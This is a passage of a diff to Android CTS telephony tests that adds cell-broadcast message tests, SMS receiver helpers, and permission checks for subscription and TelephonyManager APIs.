+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.ContentValues;
+import android.provider.Telephony;
+import android.telephony.CbGeoUtils;
+import android.telephony.SmsCbCmasInfo;
+import android.telephony.SmsCbEtwsInfo;
+import android.telephony.SmsCbLocation;
+import android.telephony.SmsCbMessage;
+
+import com.android.internal.telephony.gsm.SmsCbConstants;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class SmsCbMessageTest {
+
+ private SmsCbMessage mSmsCbMessage;
+
+ private static final int TEST_MESSAGE_FORMAT = SmsCbMessage.MESSAGE_FORMAT_3GPP2;
+ private static final int TEST_GEO_SCOPE = SmsCbMessage.GEOGRAPHICAL_SCOPE_PLMN_WIDE;
+ private static final int TEST_SERIAL = 1234;
+ private static final String TEST_PLMN = "111222";
+ private static final SmsCbLocation TEST_LOCATION = new SmsCbLocation(TEST_PLMN, -1, -1);
+ private static final int TEST_SERVICE_CATEGORY = 4097;
+ private static final String TEST_LANGUAGE = "en";
+ private static final String TEST_BODY = "test body";
+ private static final int TEST_PRIORITY = 0;
+ private static final int TEST_ETWS_WARNING_TYPE =
+ SmsCbConstants.MESSAGE_ID_ETWS_OTHER_EMERGENCY_TYPE;
+ private static final SmsCbEtwsInfo TEST_ETWS_INFO = new SmsCbEtwsInfo(TEST_ETWS_WARNING_TYPE,
+ false, false, false, null);
+ private static final SmsCbCmasInfo TEST_CMAS_INFO =
+ new SmsCbCmasInfo(SmsCbCmasInfo.CMAS_CLASS_REQUIRED_MONTHLY_TEST,
+ SmsCbCmasInfo.CMAS_CATEGORY_OTHER,
+ SmsCbCmasInfo.CMAS_RESPONSE_TYPE_EVACUATE,
+ SmsCbCmasInfo.CMAS_SEVERITY_UNKNOWN,
+ SmsCbCmasInfo.CMAS_URGENCY_EXPECTED, SmsCbCmasInfo.CMAS_CERTAINTY_LIKELY);
+
+ private static final int TEST_MAX_WAIT_TIME = 0;
+ private static final List<CbGeoUtils.Geometry> TEST_GEOS = new ArrayList<>();
+ private static final int TEST_RECEIVED_TIME = 11000;
+ private static final int TEST_SLOT = 0;
+ private static final int TEST_SUB_ID = 1;
+
+ @Before
+ public void setUp() {
+ TEST_GEOS.add(new CbGeoUtils.Geometry() {
+ @Override
+ public boolean contains(CbGeoUtils.LatLng p) {
+ return false;
+ }
+ });
+ mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+ TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY, TEST_PRIORITY,
+ TEST_ETWS_INFO, null, TEST_MAX_WAIT_TIME, TEST_GEOS, TEST_RECEIVED_TIME,
+ TEST_SLOT, TEST_SUB_ID);
+ }
+
+ @Test
+ public void testGeographicalScope() {
+ assertEquals(TEST_GEO_SCOPE, mSmsCbMessage.getGeographicalScope());
+ }
+
+ @Test
+ public void testSerialNumber() {
+ assertEquals(TEST_SERIAL, mSmsCbMessage.getSerialNumber());
+ }
+
+ @Test
+ public void testLocation() {
+ assertEquals(TEST_LOCATION, mSmsCbMessage.getLocation());
+ }
+
+ @Test
+ public void testServiceCategory() {
+ assertEquals(TEST_SERVICE_CATEGORY, mSmsCbMessage.getServiceCategory());
+ }
+
+ @Test
+ public void testLanguage() {
+ assertEquals(TEST_LANGUAGE, mSmsCbMessage.getLanguageCode());
+ }
+
+ @Test
+ public void testBody() {
+ assertEquals(TEST_BODY, mSmsCbMessage.getMessageBody());
+ }
+
+ @Test
+ public void testGeometries() {
+ assertEquals(TEST_GEOS, mSmsCbMessage.getGeometries());
+ }
+
+ @Test
+ public void testMaxWaitTime() {
+ assertEquals(TEST_MAX_WAIT_TIME, mSmsCbMessage.getMaximumWaitingDuration());
+ }
+
+ @Test
+ public void testReceivedTime() {
+ assertEquals(TEST_RECEIVED_TIME, mSmsCbMessage.getReceivedTime());
+ }
+
+ @Test
+ public void testSlotIndex() {
+ assertEquals(TEST_SLOT, mSmsCbMessage.getSlotIndex());
+ }
+
+ @Test
+ public void testMessagePriority() {
+ assertEquals(TEST_PRIORITY, mSmsCbMessage.getMessagePriority());
+ }
+
+ @Test
+ public void testMessageFormat() {
+ assertEquals(TEST_MESSAGE_FORMAT, mSmsCbMessage.getMessageFormat());
+ }
+
+ @Test
+ public void testEtwsInfo() {
+ assertEquals(TEST_ETWS_INFO, mSmsCbMessage.getEtwsWarningInfo());
+ }
+
+ @Test
+ public void testCmasInfo() {
+ final SmsCbCmasInfo info =
+ new SmsCbCmasInfo(SmsCbCmasInfo.CMAS_CLASS_REQUIRED_MONTHLY_TEST,
+ SmsCbCmasInfo.CMAS_CATEGORY_OTHER,
+ SmsCbCmasInfo.CMAS_RESPONSE_TYPE_EVACUATE,
+ SmsCbCmasInfo.CMAS_SEVERITY_UNKNOWN,
+ SmsCbCmasInfo.CMAS_URGENCY_EXPECTED, SmsCbCmasInfo.CMAS_CERTAINTY_LIKELY);
+
+ mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+ TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY, TEST_PRIORITY,
+ null, info, TEST_MAX_WAIT_TIME, TEST_GEOS, TEST_RECEIVED_TIME,
+ TEST_SLOT, TEST_SUB_ID);
+ assertEquals(info, mSmsCbMessage.getCmasWarningInfo());
+ }
+
+ @Test
+ public void testEmergency() {
+ mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+ TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY,
+ SmsCbMessage.MESSAGE_PRIORITY_EMERGENCY,
+ TEST_ETWS_INFO, null, TEST_MAX_WAIT_TIME, TEST_GEOS, TEST_RECEIVED_TIME,
+ TEST_SLOT, TEST_SUB_ID);
+ assertEquals(true, mSmsCbMessage.isEmergencyMessage());
+
+ mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+ TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY,
+ SmsCbMessage.MESSAGE_PRIORITY_NORMAL,
+ TEST_ETWS_INFO, null, TEST_MAX_WAIT_TIME, TEST_GEOS, TEST_RECEIVED_TIME,
+ TEST_SLOT, TEST_SUB_ID);
+ assertEquals(false, mSmsCbMessage.isEmergencyMessage());
+ }
+
+ @Test
+ public void testIsEtws() {
+ mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+ TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY,
+ SmsCbMessage.MESSAGE_PRIORITY_EMERGENCY,
+ null, TEST_CMAS_INFO, TEST_MAX_WAIT_TIME, TEST_GEOS, TEST_RECEIVED_TIME,
+ TEST_SLOT, TEST_SUB_ID);
+ assertEquals(false, mSmsCbMessage.isEtwsMessage());
+
+ mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+ TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY,
+ SmsCbMessage.MESSAGE_PRIORITY_EMERGENCY,
+ TEST_ETWS_INFO, null, TEST_MAX_WAIT_TIME, TEST_GEOS, TEST_RECEIVED_TIME,
+ TEST_SLOT, TEST_SUB_ID);
+ assertEquals(true, mSmsCbMessage.isEtwsMessage());
+ }
+
+ @Test
+ public void testIsCmas() {
+ mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+ TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY,
+ SmsCbMessage.MESSAGE_PRIORITY_EMERGENCY,
+ TEST_ETWS_INFO, null, TEST_MAX_WAIT_TIME, TEST_GEOS, TEST_RECEIVED_TIME,
+ TEST_SLOT, TEST_SUB_ID);
+ assertEquals(false, mSmsCbMessage.isCmasMessage());
+
+ mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+ TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY,
+ SmsCbMessage.MESSAGE_PRIORITY_EMERGENCY,
+ null, TEST_CMAS_INFO, TEST_MAX_WAIT_TIME, TEST_GEOS, TEST_RECEIVED_TIME,
+ TEST_SLOT, TEST_SUB_ID);
+ assertEquals(true, mSmsCbMessage.isCmasMessage());
+ }
+
+ @Test
+ public void testNeedGeoFencingCheck() {
+ assertEquals(false, mSmsCbMessage.needGeoFencingCheck());
+
+ mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+ TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY,
+ SmsCbMessage.MESSAGE_PRIORITY_EMERGENCY,
+ null, TEST_CMAS_INFO, 100, TEST_GEOS, TEST_RECEIVED_TIME,
+ TEST_SLOT, TEST_SUB_ID);
+ assertEquals(true, mSmsCbMessage.needGeoFencingCheck());
+ }
+
+ @Test
+ public void testContentValues() {
+ ContentValues cv = mSmsCbMessage.getContentValues();
+ int serial = cv.getAsInteger(Telephony.CellBroadcasts.SERIAL_NUMBER);
+ assertEquals(TEST_SERIAL, serial);
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 26358f0..26f6a30 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -16,27 +16,25 @@
package android.telephony.cts;
-import static com.android.compatibility.common.util.BlockedNumberUtil.deleteBlockedNumber;
-import static com.android.compatibility.common.util.BlockedNumberUtil.insertBlockedNumber;
-
import static androidx.test.InstrumentationRegistry.getContext;
import static androidx.test.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
+import static com.android.compatibility.common.util.BlockedNumberUtil.deleteBlockedNumber;
+import static com.android.compatibility.common.util.BlockedNumberUtil.insertBlockedNumber;
import static org.hamcrest.Matchers.anyOf;
import static org.hamcrest.Matchers.emptyString;
import static org.hamcrest.Matchers.equalTo;
import static org.hamcrest.Matchers.greaterThan;
-import static org.hamcrest.Matchers.lessThanOrEqualTo;
import static org.hamcrest.Matchers.startsWith;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.app.AppOpsManager;
import android.app.PendingIntent;
@@ -57,7 +55,6 @@
import android.os.ParcelFileDescriptor;
import android.os.RemoteCallback;
import android.os.SystemClock;
-import android.provider.Settings;
import android.provider.Telephony;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
@@ -65,6 +62,10 @@
import android.text.TextUtils;
import android.util.Log;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
@@ -79,10 +80,6 @@
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
/**
* Tests for {@link android.telephony.SmsManager}.
*
@@ -671,7 +668,13 @@
protected void sendMultiPartTextMessage(String destAddr, ArrayList<String> parts,
ArrayList<PendingIntent> sentIntents, ArrayList<PendingIntent> deliveryIntents) {
- getSmsManager().sendMultipartTextMessage(destAddr, null, parts, sentIntents, deliveryIntents);
+ if (mContext.getOpPackageName() != null) {
+ getSmsManager().sendMultipartTextMessage(destAddr, null, parts, sentIntents,
+ deliveryIntents, mContext.getOpPackageName());
+ } else {
+ getSmsManager().sendMultipartTextMessage(destAddr, null, parts, sentIntents,
+ deliveryIntents);
+ }
}
protected void sendDataMessage(String destAddr,short port, byte[] data, PendingIntent sentIntent, PendingIntent deliveredIntent) {
@@ -684,6 +687,9 @@
private void blockNumber(String number) {
mBlockedNumberUri = insertBlockedNumber(mContext, number);
+ if (mBlockedNumberUri == null) {
+ fail("Failed to insert into blocked number provider.");
+ }
}
private void unblockNumber(Uri uri) {
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiver.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiver.java
index 4fdadbb..7599f43 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiver.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiver.java
@@ -20,12 +20,33 @@
import android.content.Context;
import android.content.Intent;
import android.provider.Telephony;
+import android.telephony.SmsMessage;
public class SmsReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
- if (intent != null && intent.getAction().equals(Telephony.Sms.Intents.SMS_DELIVER_ACTION)) {
- context.sendBroadcast(new Intent(SmsManagerTest.SMS_DELIVER_DEFAULT_APP_ACTION));
+ if (intent == null) return;
+ switch (intent.getAction()) {
+ case Telephony.Sms.Intents.SMS_DELIVER_ACTION: {
+ // Send broadcast for SmsManagerTest cases
+ context.sendBroadcast(new Intent(SmsManagerTest.SMS_DELIVER_DEFAULT_APP_ACTION));
+ SmsMessage[] messages = Telephony.Sms.Intents.getMessagesFromIntent(intent);
+ if (messages != null && messages[0] != null) {
+ AsyncSmsMessageListener.getInstance().offerSmsMessage(
+ messages[0].getMessageBody());
+ }
+ break;
+ }
+ case SmsReceiverHelper.MESSAGE_SENT_ACTION: {
+ intent.putExtra(SmsReceiverHelper.EXTRA_RESULT_CODE, getResultCode());
+ AsyncSmsMessageListener.getInstance().offerMessageSentIntent(intent);
+ break;
+ }
+ case SmsReceiverHelper.MESSAGE_DELIVERED_ACTION: {
+ intent.putExtra(SmsReceiverHelper.EXTRA_RESULT_CODE, getResultCode());
+ AsyncSmsMessageListener.getInstance().offerMessageDeliveredIntent(intent);
+ break;
+ }
}
}
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
new file mode 100644
index 0000000..a9a934d
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+
+public class SmsReceiverHelper {
+
+ public static final String MESSAGE_SENT_ACTION =
+ "android.telephony.cts.SmsReceiverHelper.MESSAGE_SENT_ACTION";
+
+ public static final String MESSAGE_DELIVERED_ACTION =
+ "android.telephony.cts.SmsReceiverHelper.MESSAGE_DELIVERED_ACTION";
+
+ public static final String EXTRA_RESULT_CODE = "resultCode";
+
+ public static PendingIntent getMessageSentPendingIntent(Context context) {
+ Intent intent = new Intent(context, SmsReceiver.class);
+ intent.setAction(MESSAGE_SENT_ACTION);
+ return PendingIntent.getBroadcast(context, 0, intent,
+ PendingIntent.FLAG_CANCEL_CURRENT);
+ }
+
+ public static PendingIntent getMessageDeliveredPendingIntent(Context context) {
+ Intent intent = new Intent(context, SmsReceiver.class);
+ intent.setAction(MESSAGE_DELIVERED_ACTION);
+ return PendingIntent.getBroadcast(context, 0, intent,
+ PendingIntent.FLAG_CANCEL_CURRENT);
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 51c1563..bbaa423 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -285,6 +285,23 @@
}
@Test
+ public void testSetDefaultVoiceSubId() {
+ int oldSubId = SubscriptionManager.getDefaultVoiceSubscriptionId();
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity();
+ try {
+ mSm.setDefaultVoiceSubscriptionId(SubscriptionManager.INVALID_SUBSCRIPTION_ID);
+ assertEquals(SubscriptionManager.INVALID_SUBSCRIPTION_ID,
+ SubscriptionManager.getDefaultVoiceSubscriptionId());
+ mSm.setDefaultVoiceSubscriptionId(oldSubId);
+ assertEquals(oldSubId, SubscriptionManager.getDefaultVoiceSubscriptionId());
+ } finally {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+ }
+
+ @Test
public void testSubscriptionPlansOverrideUnmetered() throws Exception {
if (!isSupported()) return;
@@ -388,12 +405,12 @@
}
// Add into subscription group that doesn't exist. This should fail
- // with IllegalArgumentException.
+ // because we don't have MODIFY_PHONE_STATE or carrier privilege permission.
try {
ParcelUuid groupUuid = new ParcelUuid(UUID.randomUUID());
mSm.addSubscriptionsIntoGroup(subGroup, groupUuid);
fail();
- } catch (IllegalArgumentException expected) {
+ } catch (SecurityException expected) {
}
// Remove from subscription group with current sub Id. This should fail
@@ -449,6 +466,32 @@
}
@Test
+ public void testAddSubscriptionIntoNewGroupWithPermission() throws Exception {
+ if (!isSupported()) return;
+
+ // Set subscription group with current sub Id.
+ List<Integer> subGroup = new ArrayList();
+ subGroup.add(mSubId);
+ ParcelUuid uuid = new ParcelUuid(UUID.randomUUID());
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+ (sm) -> sm.addSubscriptionsIntoGroup(subGroup, uuid));
+
+ // Getting subscriptions in group.
+ List<SubscriptionInfo> infoList = mSm.getSubscriptionsInGroup(uuid);
+ assertNotNull(infoList);
+ assertEquals(1, infoList.size());
+ assertEquals(uuid, infoList.get(0).getGroupUuid());
+
+ // Remove from subscription group with current sub Id.
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+ (sm) -> sm.removeSubscriptionsFromGroup(subGroup, uuid));
+
+ infoList = mSm.getSubscriptionsInGroup(uuid);
+ assertNotNull(infoList);
+ assertTrue(infoList.isEmpty());
+ }
+
+ @Test
public void testSettingOpportunisticSubscription() throws Exception {
if (!isSupported()) return;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 75079d9..baf2c81 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -451,6 +451,8 @@
(tm) -> tm.getDeviceId(mTelephonyManager.getSlotIndex()));
mTelephonyManager.getDeviceSoftwareVersion();
ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+ (tm) -> tm.getDeviceSoftwareVersion(mTelephonyManager.getSlotIndex()));
+ ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
(tm) -> tm.getImei());
ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
(tm) -> tm.getImei(mTelephonyManager.getSlotIndex()));
@@ -463,8 +465,11 @@
.getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
mTelephonyManager.getVoicemailRingtoneUri(defaultAccount);
mTelephonyManager.isVoicemailVibrationEnabled(defaultAccount);
- mTelephonyManager.getSubIdForPhoneAccountHandle(defaultAccount);
+ mTelephonyManager.getSubscriptionId(defaultAccount);
mTelephonyManager.getCarrierConfig();
+ ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+ (tm) -> tm.isAnyRadioPoweredOn());
+ TelephonyManager.getDefaultRespondViaMessageApplication(getContext(), false);
}
@Test
@@ -608,12 +613,9 @@
if (sanitizedForFineOnly) return;
- assertTrue(TextUtils.isEmpty(state.getDataOperatorAlphaLong()));
- assertTrue(TextUtils.isEmpty(state.getDataOperatorAlphaShort()));
- assertTrue(TextUtils.isEmpty(state.getDataOperatorNumeric()));
- assertTrue(TextUtils.isEmpty(state.getVoiceOperatorAlphaLong()));
- assertTrue(TextUtils.isEmpty(state.getVoiceOperatorAlphaShort()));
- assertTrue(TextUtils.isEmpty(state.getVoiceOperatorNumeric()));
+ assertTrue(TextUtils.isEmpty(state.getOperatorAlphaLong()));
+ assertTrue(TextUtils.isEmpty(state.getOperatorAlphaShort()));
+ assertTrue(TextUtils.isEmpty(state.getOperatorNumeric()));
}
@Test
@@ -686,6 +688,20 @@
}
/**
+ * Tests the max number of active SIMs method
+ */
+ @Test
+ public void testGetMaxNumberOfSimultaneouslyActiveSims() {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+ return;
+ }
+
+ int maxNum = mTelephonyManager.getMaxNumberOfSimultaneouslyActiveSims();
+ assertTrue(maxNum >= 1);
+ }
+
+ /**
* Tests that the device properly reports either a valid IMEI, MEID/ESN, or a valid MAC address
* if only a WiFi device. At least one of them must be valid.
*/
@@ -1690,8 +1706,9 @@
assertThat(value).isEqualTo(TelephonyManager.SET_OPPORTUNISTIC_SUB_SUCCESS);
}
- private static void assertSetOpportunisticInvalidParameter(int value) {
- assertThat(value).isEqualTo(TelephonyManager.SET_OPPORTUNISTIC_SUB_INACTIVE_SUBSCRIPTION);
+ private static void assertSetOpportunisticNoOpportunisticSub(int value) {
+ assertThat(value).isEqualTo(
+ TelephonyManager.SET_OPPORTUNISTIC_SUB_NO_OPPORTUNISTIC_SUB_AVAILABLE);
}
/**
@@ -1726,18 +1743,17 @@
ShellIdentityUtils.invokeMethodWithShellPermissions(mSubscriptionManager,
(tm) -> tm.getOpportunisticSubscriptions());
Consumer<Integer> callbackSuccess = TelephonyManagerTest::assertSetOpportunisticSubSuccess;
- Consumer<Integer> callbackFailure =
- TelephonyManagerTest::assertSetOpportunisticInvalidParameter;
+ Consumer<Integer> callbackNoOpSub =
+ TelephonyManagerTest::assertSetOpportunisticNoOpportunisticSub;
if (subscriptionInfoList == null || subscriptionInfoList.size() == 0) {
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
(tm) -> tm.setPreferredOpportunisticDataSubscription(randomSubId, false,
- AsyncTask.SERIAL_EXECUTOR, callbackFailure));
+ AsyncTask.SERIAL_EXECUTOR, callbackNoOpSub));
// wait for the data change to take effect
waitForMs(500);
subId = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
(tm) -> tm.getPreferredOpportunisticDataSubscription());
assertThat(subId).isEqualTo(SubscriptionManager.DEFAULT_SUBSCRIPTION_ID);
-
} else {
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
(tm) -> tm.setPreferredOpportunisticDataSubscription(
@@ -1769,6 +1785,11 @@
assertThat(value).isEqualTo(TelephonyManager.UPDATE_AVAILABLE_NETWORKS_INVALID_ARGUMENTS);
}
+ private static void assertUpdateAvailableNetworkNoOpportunisticSub(int value) {
+ assertThat(value).isEqualTo(
+ TelephonyManager.UPDATE_AVAILABLE_NETWORKS_NO_OPPORTUNISTIC_SUB_AVAILABLE);
+ }
+
private static boolean checkIfEmergencyNumberListHasSpecificAddress(
List<EmergencyNumber> emergencyNumberList, String address) {
for (EmergencyNumber emergencyNumber : emergencyNumberList) {
@@ -1829,9 +1850,15 @@
int randomSubId = 1;
int activeSubscriptionInfoCount = ShellIdentityUtils.invokeMethodWithShellPermissions(
mSubscriptionManager, (tm) -> tm.getActiveSubscriptionInfoCount());
+ boolean isOpportunisticNetworkEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> tm.isOpportunisticNetworkEnabled());
+
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
return;
}
+ if (!isOpportunisticNetworkEnabled) {
+ return;
+ }
if (mTelephonyManager.getPhoneCount() == 1) {
return;
}
@@ -1849,6 +1876,8 @@
TelephonyManagerTest::assertUpdateAvailableNetworkSuccess;
Consumer<Integer> callbackFailure =
TelephonyManagerTest::assertUpdateAvailableNetworkInvalidArguments;
+ Consumer<Integer> callbackNoOpSub =
+ TelephonyManagerTest::assertUpdateAvailableNetworkNoOpportunisticSub;
if (subscriptionInfoList == null || subscriptionInfoList.size() == 0
|| !mSubscriptionManager.isActiveSubscriptionId(
subscriptionInfoList.get(0).getSubscriptionId())) {
@@ -1857,7 +1886,7 @@
availableNetworkInfos.add(availableNetworkInfo);
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
(tm) -> tm.updateAvailableNetworks(availableNetworkInfos,
- AsyncTask.SERIAL_EXECUTOR, callbackFailure));
+ AsyncTask.SERIAL_EXECUTOR, callbackNoOpSub));
// wait for the data change to take effect
waitForMs(500);
// clear all the operations at the end of test.
@@ -1996,6 +2025,89 @@
}
}
+ @Test
+ public void testGetCarrierInfoForImsiEncryption() {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
+ // test without permission: verify SecurityException
+ try {
+ mTelephonyManager.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_EPDG);
+ fail("testGetCarrierInfoForImsiEncryption: "
+ + "SecurityException expected on getCarrierInfoForImsiEncryption");
+ } catch (SecurityException se) {
+ // expected
+ }
+ try {
+ mTelephonyManager.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_WLAN);
+ fail("testGetCarrierInfoForImsiEncryption: "
+ + "SecurityException expected on getCarrierInfoForImsiEncryption");
+ } catch (SecurityException se) {
+ // expected
+ }
+ // test with permission
+ try {
+ ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+ (tm) -> tm.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_EPDG));
+ } catch (SecurityException se) {
+ fail("testGetCarrierInfoForImsiEncryption: SecurityException not expected");
+ } catch (IllegalArgumentException iae) {
+ // IllegalArgumentException is okay, just not SecurityException
+ }
+ try {
+ ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+ (tm) -> tm.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_WLAN));
+ } catch (SecurityException se) {
+ fail("testGetCarrierInfoForImsiEncryption: SecurityException not expected");
+ } catch (IllegalArgumentException iae) {
+ // IllegalArgumentException is okay, just not SecurityException
+ }
+ }
+
+ @Test
+ public void testResetCarrierKeysForImsiEncryption() {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
+ // test without permission: verify SecurityException
+ try {
+ mTelephonyManager.resetCarrierKeysForImsiEncryption();
+ fail("testResetCarrierKeysForImsiEncryption: SecurityException expected");
+ } catch (SecurityException se) {
+ // expected
+ }
+ // test with permission
+ try {
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+ mTelephonyManager,
+ (tm) -> tm.resetCarrierKeysForImsiEncryption());
+ } catch (SecurityException se) {
+ fail("testResetCarrierKeysForImsiEncryption: SecurityException not expected");
+ }
+ }
+
+ @Test
+ public void testIsInEmergencySmsMode() {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
+ // test without permission: verify SecurityException
+ try {
+ mTelephonyManager.isInEmergencySmsMode();
+ fail("testIsInEmergencySmsMode: SecurityException expected");
+ } catch (SecurityException se) {
+ // expected
+ }
+ // test with permission
+ try {
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+ mTelephonyManager,
+ (tm) -> tm.isInEmergencySmsMode());
+ } catch (SecurityException se) {
+ fail("testIsInEmergencySmsMode: SecurityException not expected");
+ }
+ }
+
/**
* Validate Emergency Number address that only contains the dialable character.
*
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java
index a6a2c4f..6ce0b6f 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java
@@ -1,18 +1,33 @@
package android.telephony.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import android.content.Context;
